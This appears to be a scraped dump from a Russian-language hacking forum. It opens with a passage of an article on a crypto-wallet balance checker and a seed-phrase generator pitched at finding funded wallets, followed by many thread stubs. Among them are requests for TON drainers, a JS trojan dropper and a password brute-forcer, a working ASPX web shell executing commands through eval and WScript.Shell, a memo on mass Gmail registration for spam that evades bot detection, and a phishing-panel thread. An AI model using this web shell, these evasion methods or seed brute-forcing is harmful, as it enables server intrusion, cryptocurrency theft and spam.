  "data": {
    "total_wallet_balance": 123,
    "wallet": "<string>",
    "assets": [
      {
        "asset": {
          "data": {
            "id": 123,
            "name": "<string>",
            "symbol": "<string>",
            "contracts": [
              "<string>"
            ],
            "blockchains": [
              "<string>"
            ],
            "twitter": "<string>",
            "website": "<string>",
            "logo": "<string>",
            "price": 123,
            "market_cap": 123,
            "liquidity": 123,
            "volume": 123,
            "description": "<string>",
            "kyc": "<string>",
            "audit": "<string>",
            "total_supply_contracts": [
              "<string>"
            ],
            "total_supply": 123,
            "circulating_supply": 123,
            "circulating_supply_addresses": [
              "<string>"
            ],
            "discord": "<string>",
            "max_supply": 123,
            "chat": "<string>"
          }
        },
        "price": 123,
        "estimated_balance": 123,
        "token_balance": 123,
        "cross_chain_balances": {}
      }
    ]
  },
  "lastUpdated": {}
}
)

Сама же функция выглядит следующим образом:

JavaScript:Copy to clipboard

async function processWalletMobula(address, apiKey) {
  try {
    const response = await axios.get(`https://api.mobula.io/api/1/wallet/portfolio?wallet=${address}`, {
      headers: { 'Authorization': `Bearer ${apiKey}` }
    });
    const balance = response.data.data.total_wallet_balance;
    return { address, balance };
  } catch (error) {
    throw error;
  }
}

Куда более интересней представлена функция processWalletMoralis , которая использует Moralis API для получения детальной информации о балансах кошелька на различных блокчейнах. Это позволяет получить комплексную картину активов пользователя across different chains. На получение ключа ушло около 10 минут, здесь все просто, но пришлось повозиться с документацией, чтобы понять функционал. Заходим на https://developers.moralis.com, жмем Get API Key, регистрируемся и готово. Панелька интуитивно куда более удобная, считает корректно, API работает быстро, но за один запрос может съедать до тысячи местных кредитов. В бесплатном варианте в сутки выдается 40к кредитов, но за 70 деревянных в месяц можно увеличить лимит до 100млн/месяц, а если языком поработать – можно и в космос улететь.

Снимок экрана 2024-09-20 130822.png

Снимок экрана 2024-09-20 131338.png

В документации меня интересовал [Get Wallet Net Worth](https://docs.moralis.io/web3-data-api/evm/reference/wallet-api/get- wallet-net- worth?address=0x1f9090aaE28b8a3dCeaDf281B0F12828e676c326&chains=[]&exclude_spam=true&exclude_unverified_contracts=true). Основными преимуществами являлись пробив по необходимым блокчейнам и примеры кода/ответов. Блокчейны для анализа там же в доках можете посмотреть, в соответствующей графе (для самых ленивых скрин):

Снимок экрана 2024-09-20 132235.png

Выбрал несколько для теста (по коду понятно какие именно) и поехали:

JavaScript:Copy to clipboard

async function processWalletMoralis(address, apiKey) {
  try {
    const response = await Moralis.EvmApi.wallets.getWalletNetWorth({
      chains: [
        EvmChain.ETHEREUM,
        EvmChain.POLYGON,
        EvmChain.FANTOM,
        EvmChain.ARBITRUM,
        EvmChain.BSC,
        EvmChain.AVALANCHE,
        EvmChain.BASE,
        EvmChain.OPTIMISM
      ],
      excludeSpam: false,
      excludeUnverifiedContracts: false,
      address: address
    });

    const result = response.raw;
    
    return {
      address,
      total_networth_usd: result.total_networth_usd,
      chains: result.chains.map(chain => ({
        chain: chain.chain,
        native_balance: chain.native_balance,
        native_balance_formatted: chain.native_balance_formatted,
        native_balance_usd: chain.native_balance_usd,
        token_balance_usd: chain.token_balance_usd,
        networth_usd: chain.networth_usd
      }))
    };
  } catch (error) {
    console.error(`Error processing wallet ${address} with Moralis API:`, error);
    return {
      address,
      error: error.message
    };
  }
}

Осталось обработать пользовательский ввод и запустить процесс анализа. Эта функция читает адреса кошельков из входного файла, обрабатывает их с помощью выбранного API, отслеживает прогресс и сохраняет результаты в выходной файл. Обратите внимание на использование requestQueue для контроля скорости запросов и отправку обновлений прогресса в рендерер процесс:

JavaScript:Copy to clipboard

ipcMain.handle('process-data', async (event, inputFile, outputFile, apiKey, method) => {
  try {
    const walletAddresses = (await fs.readFile(inputFile, 'utf-8')).split('\n').map(address => address.trim());
    const results = [];
    const startTime = Date.now();
    let processedRequests = 0;

    if (method === 'Moralis') {
      await Moralis.start({ apiKey: apiKey });
    }

    for (const address of walletAddresses) {
      await new Promise((resolve, reject) => {
        requestQueue.push({
          method,
          address,
          apiKey
        }, (err, result) => {
          if (err) reject(err);
          else {
            results.push(result);
            processedRequests++;
            const progress = (processedRequests / walletAddresses.length) * 100;
            const elapsedTime = (Date.now() - startTime) / 1000;
            const requestsPerMinute = (processedRequests / elapsedTime) * 60;
            mainWindow.webContents.send('progress-update', {
              progress,
              processedRequests,
              elapsedTime,
              requestsPerMinute
            });
            resolve();
          }
        });
      });
    }

    await fs.writeFile(outputFile, JSON.stringify(results, null, 2), 'utf-8');
    return 'Анализ успешно завершен!';
  } catch (error) {
    return `Ошибка: ${error.message}`;
  } finally {
    if (method === 'Moralis') {
      await Moralis.stop();
    }
  }
});

С функионалом main.js закончили, переходим к preload.js. Код сам по себе – пара строк, но сам скрипт играет ключевую роль в обеспечении безопасности приложения, предоставляя контролируемый интерфейс между основным и рендерер процессами. Я использовал contextBridge для создания безопасного API, доступного из рендерер процесса. Это позволяет контролировать, какие именно функции основного процесса доступны для использования в пользовательском интерфейсе:

JavaScript:Copy to clipboard

const { contextBridge, ipcRenderer } = require('electron');

contextBridge.exposeInMainWorld('electronAPI', {
  selectInputFile: () => ipcRenderer.invoke('select-input-file'),
  selectOutputFile: () => ipcRenderer.invoke('select-output-file'),
  processData: (inputFile, outputFile, apiKey, method) =>
    ipcRenderer.invoke('process-data', inputFile, outputFile, apiKey, method),
  onProgressUpdate: (callback) => ipcRenderer.on('progress-update', (_event, value) => callback(value))
});

Пользовательский интерфейс приложения сделал с простой структурой: возможность выбрать входной файл с адресами кошельков, указать выходной файл для результатов, выбрать метод анализа (Mobula или Moralis) и ввести API ключ.

HTML:Copy to clipboard

<html>
<head>
    <title>Анализатор криптокошельков</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        input, select, button { margin: 10px 0; }
        #progressBar { width: 100%; background-color: #ddd; }
        #progressBar > div { height: 30px; background-color: #4CAF50; text-align: center; line-height: 30px; color: white; }
    </style>
</head>
<body>
    <h1>Анализатор криптокошельков</h1>
    <div>
        <label for="inputFile">Входной файл (адреса кошельков):</label>
        <input type="text" id="inputFile" readonly>
        <button onclick="selectInputFile()">Выбрать файл</button>
    </div>

    <div>
        <label for="outputFile">Выходной файл (JSON):</label>
        <input type="text" id="outputFile" readonly>
        <button onclick="selectOutputFile()">Выбрать файл</button>
    </div>

    <div>
        Метод сбора данных:
        <select id="method">
          <option value="Mobula">Mobula API</option>
          <option value="Moralis">Moralis API</option>
        </select>
    </div>

    <div>
        <label for="apiKey">Ключ API:</label>
        <input type="text" id="apiKey">
    </div>

    <button onclick="startAnalysis()">Начать анализ</button>

    <div id="progressBar"><div></div></div>
    <div id="statusLabel"></div>

    <script>
        let inputFile, outputFile;

        async function selectInputFile() {
            inputFile = await window.electronAPI.selectInputFile();
            document.getElementById('inputFile').value = inputFile || '';
        }

        async function selectOutputFile() {
            outputFile = await window.electronAPI.selectOutputFile();
            document.getElementById('outputFile').value = outputFile || '';
        }

        async function startAnalysis() {
            const apiKey = document.getElementById('apiKey').value;
            const method = document.getElementById('method').value;
            
            if (!inputFile || !outputFile) {
                alert('Пожалуйста, выберите входной и выходной файлы');
                return;
            }

            const result = await window.electronAPI.processData(inputFile, outputFile, apiKey, method);
            document.getElementById('statusLabel').innerText = result;
        }

        window.electronAPI.onProgressUpdate((data) => {
            const progressBar = document.getElementById('progressBar').firstChild;
            progressBar.style.width = `${data.progress}%`;
            progressBar.innerText = `${data.progress.toFixed(2)}%`;
            
            document.getElementById('statusLabel').innerText =
                `Обработано ${data.processedRequests} запросов за ${data.elapsedTime.toFixed(2)} секунд.
                 Скорость: ${data.requestsPerMinute.toFixed(2)} запросов/мин`;
        });
    </script>
</body>
</html>

Снимок экрана 2024-09-20 140427.png

renderer.js - скрипт обрабатывает нажатие на кнопку "Начать анализ", собирает необходимые данные из пользовательского ввода и вызывает функцию processData через API, предоставленный preload скриптом, обновляет прогресс-бар на основе обновлений, получаемых от основного процесса:

JavaScript:Copy to clipboard

document.getElementById('startAnalysis').addEventListener('click', async () => {
    const inputFile = document.getElementById('inputFile').files[0].path;
    const outputFile = document.getElementById('outputFile').value;
    const apiKey = document.getElementById('apiKey').value;
    const fullAnalysis = document.getElementById('fullAnalysis').checked;
    const method = document.getElementById('apiMethod').value;

    document.getElementById('statusLabel').textContent = 'Анализ начат...';
    
    try {
        const result = await window.electronAPI.processData(inputFile, outputFile, apiKey, fullAnalysis, method);
        document.getElementById('statusLabel').textContent = result;
    } catch (error) {
        document.getElementById('statusLabel').textContent = `Ошибка: ${error.message}`;
    }
});

window.electronAPI.onProgressUpdate((progress) => {
    document.querySelector('#progressBar > div').style.width = `${progress}%`;
});

Что же показали нам тесты? Я зашел на DeBank, выбрал 10 первых попавшихся кошельков, залил в текстовый документ.

1727091582690.png

Сначала поехала Mobula:

Снимок экрана 2024-09-20 143104.png

Скорость загрузки 0.45 запрос/минута. На 10 запросов реально ушло около 1241 секунда = больше 20 минут (скорость космическая). На скрине не успел поймать время (сами понимаете - нужна реакция), поэтому не видно результатов, рекомендую поверить на слово, а можете смело самостоятельно протестировать. Результат:

Снимок экрана 2024-09-23 145334.png

Слегка поиграв с тестами Mobula, начал пробовать Ankr, Zapper API – плюс минус аналогичный результат (изначально я внес в приложение эти API, когда собирал архитектуру, пробовал Debank по HTML парсингу пихнуть, как метод сбора данных, но достойного результата по скорости не было, поэтому удалено безвозвратно). Переборов в себе желание воспользоваться сочетанием клавиш shift+delete для корневой папки, добрался до Moralis. Ожиданий особо не было, но результат оказался приятным: 10 запросов обработались меньше чем за 25 секунд (1500 запросов/час), а это почти в 50 раз быстрее. Конечно, я изначально целился в результат около 1000 запросов в минуту, но практика и тесты показали, что за «спасибо» тебе никто таких объемов не даст (хотя если кто знает – сообщите). А для мелких объемов 5000-10000 запросов и домашнего ознакомительного пользования решил, что пойдет.

Снимок экрана 2024-09-20 144106.png

При этом ответы были подробными по каждому из блокчейнов, чтобы не грузить в основном тексте статьи, файл с ответами тоже добавлю в архив, пока пример одного кошелька на скрине:

1727092607144.png

Чем же пришлось заплатить за такие скорость и качество? Лимитом в панельке – съело с запасом, хотя ответ выдал по всем запрашиваемым кошелькам.

Снимок экрана 2024-09-20 145404.png

Да, приложение сразу не сортирует в списки «есть бабки»/«пустой кош», но это точно быстрее, чем ручками проверять. А если учесть, что написалось приложение буквально за два вечера под сериальчик, то результат считаю приемлемым.

Бонусом закину программу для генерации сидфраз, которую писал забавы ради в прошлом году. Выглядит она следующим образом:

Снимок экрана 2024-09-20 151401.png

Функционал простой:

  1. Скачиваешь 2048 волшебных слов,
  2. Добавляешь их в текстовый документ,
  3. Этот документ загружаешь в программу,
  4. Выбираешь количество слов, участвующих в составлении сидфраз,
  5. Выбираешь длину последовательности сидфразы
  6. Нажимаешь «Сгенерировать последовательности»
  7. Выбираешь выходной файл
  8. Наслаждаешься работой железного друга

Снимок экрана 2024-09-20 151802.png

Скорость генерации 100к/секунду. Есть функционал выбрать определенное слово из списка (например, если вы знаете одно или несколько слов сидфразы). Есть также возможность генерировать по стандартам BIP0039, в этом случае сначала рассчитывается контрольное слово, потом генерируется сидфраза. Общее количество комбинаций выводится после выбора количества слов и длины последовательности. Такое запредельное количество сгенерировать, сохранить и как следствие монетизировать, сможет только машина с огромными вычислительными мощностями (или команда). Для изучающих Python будет полезно, для тех, кому нечем заняться – весело поиграть со словами из своих сидфраз.

На сегодня все, уважаемые форумчане! Архив с файлами программ и результатами тестов во вложении. Кому было полезно и вызвало интерес – лайкайте, оставляйте комментарии, задавайте вопросы. Если у вас уже есть проплаченный API с отсутствием лимитов по запросам - можете интегрировать и пользоваться!

Patr1ck специально для XSS.is.

Как работают TON дрейнеры?
ID: 67668b27b4103b69df375cc0
Thread ID: 119127
Created: 2024-07-18T15:49:13+0000
Last Post: 2024-07-30T09:47:46+0000
Author: Умикуд
Replies: 1 Views: 1K

Хочу написать подобное, но не знаю с чего начать?

Исходник бота Hamster Kombat
ID: 67668b27b4103b69df375cc1
Thread ID: 119177
Created: 2024-07-19T06:42:11+0000
Last Post: 2024-07-19T20:42:09+0000
Author: whitehaker
Prefix: Статья
Replies: 11 Views: 1K

Hamster Kombat - это клон популярного мини-приложения, написанный на JavaScript
В этой статье мы подробно расскажем, как установить и запустить бота на вашем локальном компьютере.

**Требования:

Шаг 1:** Скачать
Для начала, необходимо скачать исходники бота. Вы можете найти архив для скачивания в конце этого поста.

1. После скачивания архива, распакуйте его и перейдите в директорию проекта:

Code:Copy to clipboard

cd Hamster-Kombat-Telegram-Mini-App-Clone

Шаг 2: Начальная настройка
Переключитесь на веткуinitial-setup:

Code:Copy to clipboard

git checkout initial-setup

2. Установите все необходимые зависимости:

Code:Copy to clipboard

npm install

3. Запустите сервер разработки:

Code:Copy to clipboard

npm run dev

4. Откройте ваш браузер и перейдите по адресу:

Code:Copy to clipboard

localhost

Здесь вы сможете увидеть первоначальную настройку вашего приложения.

Шаг 3: Финальная версия
1. Переключитесь на ветку final-version

Code:Copy to clipboard

git checkout final-version

2. Установите зависимости:

Code:Copy to clipboard

npm install

3. Запустите сервер разработки:

Code:Copy to clipboard

npm run dev

4. Откройте браузер и перейдите по адресу:

Code:Copy to clipboard

localhost

Здесь вы сможете увидеть финальную версию вашего приложения.

Заключение
Следуя этим простым шагам, вы сможете запустить и настроить бота Hamster Kombat на вашем локальном компьютере. Убедитесь, что у вас установлены все необходимые зависимости и правильно выполнены все команды. Если у вас возникнут вопросы или проблемы, не стесняйтесь обращаться за помощью в комментариях ниже.

**Удачи в разработке и использовании Hamster Kombat!
Источник - **hack-lair.com

Скачать исходник -[ТЫК](https://hack-lair.com/Hamster-Kombat-Telegram-final- version.zip)

cookie php
ID: 67668b27b4103b69df375cc3
Thread ID: 117396
Created: 2024-06-23T05:07:13+0000
Last Post: 2024-06-26T15:07:45+0000
Author: sap4eg
Replies: 5 Views: 1K

Подскажите как сделать простую авторизацию с куками. Нужныли сессии? И что можно почитать на эту тему? Ничего найти не могу толкового.

Разработка сайтов в tor'е
ID: 67668b27b4103b69df375cc7
Thread ID: 114258
Created: 2024-05-10T18:20:23+0000
Last Post: 2024-05-27T11:57:10+0000
Author: GenGenra
Replies: 8 Views: 1K

Есть ли разница в разработке сайтов под tor и clearnet?

Помогите пожалуйста разобраться с базой данных.
ID: 67668b27b4103b69df375ce7
Thread ID: 90373
Created: 2023-06-13T13:43:58+0000
Last Post: 2024-02-11T22:20:05+0000
Author: constant
Replies: 5 Views: 998

Всех приветствую!

У меня небольшая проблема. Взял исходник с гитхаб, перевел сайт на русский язык. В sql есть столбец со специальностями врачей, когда я перевожу их на русский. У меня не отображается кириллица, а лишь знаки вопросов. Подскажите пожалуйста, как я могу это исправить? Делаю дипломную работу...

1686663800087.png

need script for bank & crypto log
ID: 67668b27b4103b69df375dbc
Thread ID: 41596
Created: 2020-09-01T03:53:35+0000
Last Post: 2020-09-01T03:59:45+0000
Author: communipaw
Prefix: Мануал/Книга
Replies: 1 Views: 993

hello looking to get script anybody can help me out i appreciate it my jabber :: realms@jabber.org telegram:: gh0stpr0t0c0l.....thanks.

JS dropper script.
ID: 67668b27b4103b69df375dbf
Thread ID: 40764
Created: 2020-08-11T08:12:16+0000
Last Post: 2020-08-11T12:24:06+0000
Author: krml
Replies: 1 Views: 988

Hi everyone, I was wondering if anyone had a javascript script to release a trojan when the victim visits the infected site.
If obfuscated it would be better but normal too, thank you in advance who will be able to provide it to me.

Свой 2FA на PHP через GoogleAuthenticator
ID: 67668b27b4103b69df375d3b
Thread ID: 76508
Created: 2022-11-23T19:13:29+0000
Last Post: 2022-11-23T19:13:29+0000
Author: tabac
Prefix: Мануал/Книга
Replies: 0 Views: 987

Вот библиотека для приложения 2fa на php

github.com

[ GitHub - chregu/GoogleAuthenticator.php: Use the Google Authenticator

App and check the code with this PHP script ](https://github.com/chregu/GoogleAuthenticator.php)

Use the Google Authenticator App and check the code with this PHP script - GitHub - chregu/GoogleAuthenticator.php: Use the Google Authenticator App and check the code with this PHP script

github.com github.com

Из папки lib берём оба файла, скачиваем в папке, создаем файл рядом сними blabla.php и пишем следующие

PHP:Copy to clipboard

$pa = dirname(__FILE__);
require_once($pa.'/GoogleAuthenticator.php');
$ga=new GoogleAuthenticator;
$code=$ga->getCode('YOU_KEY_2FA');
echo ($code);

YOU_KEY_2FA заменить на Ваш ключ, при запуске скрипта готовый key для входа.

+ Можно сохранить в любом месте, криптоконтейнер рулит
+ Key хранить на телефоне не безопасно, а тут на флешке или ещё где, и нет проблем

by look2009

WebShell JS problem (.aspx)
ID: 67668b27b4103b69df375d56
Thread ID: 53461
Created: 2021-06-30T08:44:25+0000
Last Post: 2022-04-23T06:22:29+0000
Author: Player_1
Replies: 3 Views: 973

Всем привет, в js не шарю, прошу не писать что я лох)
Собственно вопрос, почему это не работает

JavaScript:Copy to clipboard

<script language="JScript" runat="server">
function request_post(){
eval(Request["request"],"unsafe");
}
</script>

А это работает

Code:Copy to clipboard

<script language="JScript" runat="server">
function Page_Load(){
eval(Request["request"],"unsafe");
}
</script>

Запрос к шеллу выглядит так, и работает на втором вариате, а на первом не хочет

Code:Copy to clipboard

POST ....../shell.aspx HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 211

request=Response.Write(new ActiveXObject("WScript.Shell").Exec("whoami /all").stdout.readall());
очень простой брут
ID: 67668b27b4103b69df375da1
Thread ID: 47360
Created: 2021-01-29T14:19:48+0000
Last Post: 2021-01-29T14:45:51+0000
Author: SS7
Replies: 1 Views: 971

Здраствуйте нужна программа для подбора пароля с заданными параметрами на определенный сайт , очень простенькая , кому интересно пишите в телеграмм @Zalivba
бюджет небольшой .

Исследование gmail
ID: 67668b27b4103b69df375d08
Thread ID: 89656
Created: 2023-06-04T09:11:04+0000
Last Post: 2023-08-08T05:07:45+0000
Author: Ph1exon
Prefix: Статья
Replies: 2 Views: 955

У меня есть разработка на php и node js для исследования gmail, делалась для одной из нашумевшей организаций, которая потом развалилась из-за токсичности.

Я недавно занимался этой темой, приложение выкладывать не стал, там код поменялся, гугл стал хитрее, но ход мысли не поменялся.

Что хотелось бы выяснить - точный шифр пакетов гугла, возможность "выкусывания" пакетов, отвечающих за информирование гугла о неестественных способах создания аккаунта.

Рекомендуется для людей не стеснённых в средствах, приблизительный расчёт ~ 1 год.

Полный отчёт дам в личку.

30.10.2021
Служебная записка

Задание
Требуется создать систему регистрации почтовых аккаунтов на серверах Gmail, AOL, Yahoo, GMH с возможностью рассылки почтовых сообщений с эмуляцией действий человека.

Выполнение работ
Дан сервер *.
В директории /home/dad/puppeteer создана система для общего управления регистрацией и манипуляцией почтовых аккаунтов на основе puppeteer.

В файле gmail.js (запускается в консоли так: node gmail.js) создан скрипт автоматической регистрации почтового аккаунта на сервере Gmail, основанный на телефонах, полученных из API сайта *. Этот скрипт учитывает состояние кук, создаёт временные задержки, имитируя действия человека.

Также применяются все виды ввода данных, включая движения мышью и нажатия на клавиши, что иллюстрируется на приведённых скриншотах, созданных puppeteer’ом.
1685867244820.png
Рис.1 Вставлен номер телефона
1685867306785.png
Рис.2 Вставлен месяц рождения

1685867341267.png
Рис.3 Вставлен день рождения

1685867371337.png
Рис.4 Вставлен год рождения
1685867397959.png
Рис.5 Вставлен пол
1685867426467.png
Рис.6 После нажатия кнопки Next

1685867452106.png
Рис.7 После нажатия кнопки Yes, I’m in

1685867480376.png
Рис.8 Финал, аккаунт создан (личные данные генерируются API сайта *)

Аккаунт создаётся, но при попытке войти в него выдаётся сообщение, что аккаунт создан программой, "Вы можете попытаться его восстановить, подав соответствующую заявку".
1685867506455.png
Рис.9 Аккаунт заблокирован

Один аккаунт я так почти восстановил, но попросили ввести номер телефона, а он не сохраняется.

В статье [Detecting Headless Chrome](https://intoli.com/blog/making-chrome- headless-undetectable/) разбирается случай, когда, якобы, можно сделать “безголовый” Хром невидимым. Я проверил, это оказалось не так.

1685867537414.png
Рис.10 Отдача скрипта (из статьи) до проверки

1685867556663.png
Рис.11 Отдача скрипта (из статьи) после проверки

Я списался с автором статьи, мы поработали вместе немного над этим вопросом, потом он, видимо, испугался и перестал отвечать.

Для решения этой задачи - устранения проблемы с обнаружением puppeteer'а, в директории /var/www/clients/client1/web2/web была создана с помощью фреймворка Yii2 система анализа трафика, который был записан между сервером и внешними устройствами в процессе создания почтового аккаунта. Также был записан поток трафика в течение 8 часов без никаких взаимодействий с сервером Gmail. Это было сделано для того, чтобы сравнить внешние серверы, которые появляются при взаимодействии с Gmail. Для этого была создана система по адресу *, где представлены логи трафика, упомянутые выше.

Под названием пункта меню Simple IP compare представлена таблица из 192 тысяч пакетов за 8 часов.

1685867594713.png
Рис.12

Под названием пункта меню Gmail IPs представлена таблица из 9725 пакетов трафика, записанных при взаимодействии с серверами Gmail.

1685867621569.png
Рис.13

В таблице IP difference, состоящая из 9264 записей, представлен трафик как разница между первыми двумя таблицами.

1685867683234.png
Рис.14

В таблице Grouped difference представлены 54 записи, представляющие собой домены и адреса внешних серверов, с которыми взаимодействует наш сервер во время работы с Gmail.

1685867704685.png
Рис.15

В пункте меню Detailed difference представлены 9724 пакета трафика во время работы с серверами Gmail, преобразованные из формата .json и записанные в 352 поля. Это очень подробные данные, автоматизировано разнесённые по разным полям для скрупулёзного анализа.

1685867724859.png
Рис.16

Описание моделей и методов консольных классов

Модели
Созданы по классическому принципу “толстая модель, тонкий контроллер”.
Модель Simple
Метод getImport()
Производит с помощью метода getFilesNames() импортирование файлов csv, находящихся в базовой директории. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii simple.

Модель Gmail
Делает то же самое с трафиком взаимодействия с сервером Gmail, записанным консольной утилитой tshark и преобразованным в формат csv, записан в базовую директорию. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii gmail.

Модель Difference
Метод getDifference()
Создан для вычисления разницы между восьмичасовым трафиком и трафиком взаимодействия с сервером Gmail. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii difference.
Метод getFilesNames()
Предназначен для создания списка файлов, находящихся в базовой территории, имеющих расширение csv.
Метод getJson()
Предназначен для сбора наименований, размеров и значений всех полей пакетов трафика. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii difference/json.
Метод allFields()
Принимает как параметры: объект, представляющий из себя отдельный пакет трафика и параметр для обозначения факта события - брать ли и возвращать ли значения данных этого пакета или нет.
Метод allFields() возвращает все поля объектов, рекурсивно вложенных друг в друга в отдельном пакете трафика.
Метод getStructure()
Предназначен для создания массива всех полей всех пакетов трафика, их типа, размера и наименования. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii difference/structure.
Метод getRequest()
На основе метода getStructure() создаёт текстовую строку, представляющую из себя запрос к базе данных для создания таблицы БД detailed. Ограничительными параметрами для этой таблицы являются - размер поля пакета трафика больше 0, замена всех точек и дефисов на знак подчёркивания в наименовании поля таблицы базы данных, замена всех полей VARCHAR с размером больше 1kB на тип поля LONGTEXT для предотвращения переполнения длины строки. На выходе метода getRequest() получаем строку, записываемую в файл request.sql, в базовую директорию модели Difference. Таким образом, были преодолены ограничения базы данных MySQL. Запускается метод из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii difference/request.

Модель Detailed
Метод getField()
Предназначен для заполнения таблицы БД detailed данными подробного трафика, записанного в файл gmail.packets.json с преобразованием наименования полей пакета трафика в наименование полей таблицы БД путём замены знаков "дефис" и "точка" на знак подчёркивания “_”. Запускается из консоли в базовой директории консольных моделей /var/www/clients/client1/web2/web командой ./yii detailed.
Результат представлен на скриншоте phpmyadmin Рис.17.

1685867768897.png

Заключение
Таким образом, преодолены ограничения базы данных, появилась возможность производить множественные серии экспериментов для выяснения точного содержимого пакетов и их дешифрации, отправляемых при регистрации не только аккаунта Gmail, а также и других почтовых сервисов.
Ввиду экстремальной ценности развития этого вектора атаки на почтовые серверы, ибо это практически “золотое дно” для спама, прошу рассмотреть возможность присвоить этому направлению работ статус научно-исследовательской лаборатории с расширением количества штатных единиц до трёх работников и увеличением ежемесячного бюджета до пяти тысяч долларов (я, как ответственный за эту тему $3000, дешифровщик пакетов $1000 и специалист по искусственному интеллекту $1000). Повторюсь - при наличии возможности и желания. Без такого наличия я по-прежнему буду с удовольствием рыть эту жутко интересную тему в одиночестве, но хотелось бы ускорить получение результата.

Скрипт проксирования сайтов для различных нужд
ID: 67668b27b4103b69df375d72
Thread ID: 52771
Created: 2021-06-10T14:36:32+0000
Last Post: 2021-12-05T07:04:28+0000
Author: EmeliRouse
Replies: 1 Views: 955

You must have at least 5 message(s) to view the content.

Lol Eloboost
ID: 67668b27b4103b69df375d9b
Thread ID: 48140
Created: 2021-02-15T16:27:58+0000
Last Post: 2021-02-15T16:27:58+0000
Author: thismec
Replies: 0 Views: 948

Я провел много исследований и знаю, как программировать программное обеспечение, но я могу найти программное обеспечение eloboost здесь. Есть ли кто-нибудь, чтобы помочь мне в этой теме? (eloboost script)

Помогите скрыть JavaScript
ID: 67668b27b4103b69df375d8b
Thread ID: 51699
Created: 2021-05-13T00:21:41+0000
Last Post: 2021-05-13T18:19:02+0000
Author: incubu666
Replies: 5 Views: 942

Всем привет нужна помощь есть код рекламы отhttps://adf.ly

Code:Copy to clipboard

<script type="text/javascript">
    var adfly_id = xxxxxxxx;
    var adfly_advert = 'int';
    var frequency_cap = 5;
    var frequency_delay = 5;
    var init_delay = 20;
    var popunder = true;
</script>
<script src="https://cdn.adf.ly/js/entry.js"></script>

Вопрос, такой как скрыть JavaScript или то, что находится в строке под xxxxxxx.
Пробовал прятать через Base64 encode

Code:Copy to clipboard

<script>
var string = 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIHZhciBhZGZseV9pZCA9IHh4eHh4eHg7DQogICAgdmFyIGFkZmx5X2FkdmVydCA9ICdpbnQnOw0KICAgIHZhciBmcmVxdWVuY3lfY2FwID0gNTsNCiAgICB2YXIgZnJlcXVlbmN5X2RlbGF5ID0gNTsNCiAgICB2YXIgaW5pdF9kZWxheSA9IDIwOw0KICAgIHZhciBwb3B1bmRlciA9IHRydWU7DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5hZGYubHkvanMvZW50cnkuanMiPjwvc2NyaXB0Pg==';
var decodedString = atob(string);
document.write(''+ decodedString +'');
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>

Но в любом браузере через DevTools во вкладке Elements его видно.
Как его скрыть ? Чтоб трудно было определить. Заранее спасибо.

Help Setting Up Uadmin Panel
ID: 67668b27b4103b69df375ca6
Thread ID: 125495
Created: 2024-10-24T23:49:59+0000
Last Post: 2024-12-04T20:29:42+0000
Author: Lipshitz
Replies: 9 Views: 938

Does anyone have any information regarding writing pages for Uadmin panels? The documentation I have is very basic and just shows dependencies to install, etc.

This is what I've found so far

![fr3d.hk](/proxy.php?image=https%3A%2F%2Ffr3d.hk%2Fblog%2Fbl- content%2Fuploads%2Fpages%2Fb57578026063228755a3cbfe426c2cf4%2Flogin_2.png&hash=10d0186bb50acfb6a769d4a289377d94&return_error=1)

uAdmin - Show & Tell

In this post I'll be taking a look at Unknown Admin or better known as U-Admin. We'll be taking a look at the code, how it functions, and different use cases for phishing and injects. I'll also be discussing real world instances.

![fr3d.hk](/proxy.php?image=https%3A%2F%2Ffr3d.hk%2Fblog%2Fbl- themes%2Fblogx%2Fimg%2Ffavicon.png&hash=658254557efea5bdcd4ddb89fabba331&return_error=1) fr3d.hk

![www.domaintools.com](/proxy.php?image=https%3A%2F%2Fwww.domaintools.com%2Fwp- content%2Fuploads%2Fcaught-in-the-act-a-phishing-expedition- Social.jpg&hash=4076a547b3ab606e5cf943c4df8e0b65&return_error=1)

Caught in the Act: A Phishing Expedition - DomainTools | Start Here. Know Now.

Upon the discovery of a suspicious domain name, DomainTools researchers uncovered a phishing attack targeting Tesco Bank. See how they used code analysis and more.

![www.domaintools.com](/proxy.php?image=https%3A%2F%2Fwww.domaintools.com%2Fwp- content%2Fuploads%2FDomainTools- Favicon.png&hash=2d2707c9a8b8f979705ea424a3412832&return_error=1) www.domaintools.com

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F997e7aa6053d122e5c3eebc537155a9bc6600dc6059c7c1c6cdd364fa20b2e2f%2Fsyrex1013%2FUAdmin- Phishlets&hash=2576e8f6a1217afcd3d304c1a5cb2bd7&return_error=1)

[ GitHub - syrex1013/UAdmin-Phishlets: UAdmin Phishlets for common sites

](https://github.com/syrex1013/UAdmin-Phishlets)

UAdmin Phishlets for common sites. Contribute to syrex1013/UAdmin-Phishlets development by creating an account on GitHub.

github.com github.com

Can anyone decipher the js codes?
ID: 67668b27b4103b69df375d18
Thread ID: 83239
Created: 2023-03-05T14:04:19+0000
Last Post: 2023-06-03T14:41:20+0000
Author: halilerry
Replies: 11 Views: 935

Is there anyone who can decode the javascript codes, if any, can you help?

I'm putting the javascript file open link:

link: https://dosya.co/c97vbsmpnpp7/background.js.html
virüstotal: https://www.virustotal.com/gui/url/...250cdfbd7cd5d77c8c0ee2cbd6de7d4403f?nocache=1

please help if you can solve it
this javascript is encrypted only decryption will suffice

JS: Пишем хакерское расширение для браузера. Часть 1
ID: 67668b27b4103b69df375cb0
Thread ID: 125556
Created: 2024-10-26T02:22:25+0000
Last Post: 2024-10-26T08:06:36+0000
Author: petrinh1988
Prefix: Статья
Replies: 1 Views: 934

Автор petrinh1988
Источник https://xss.is

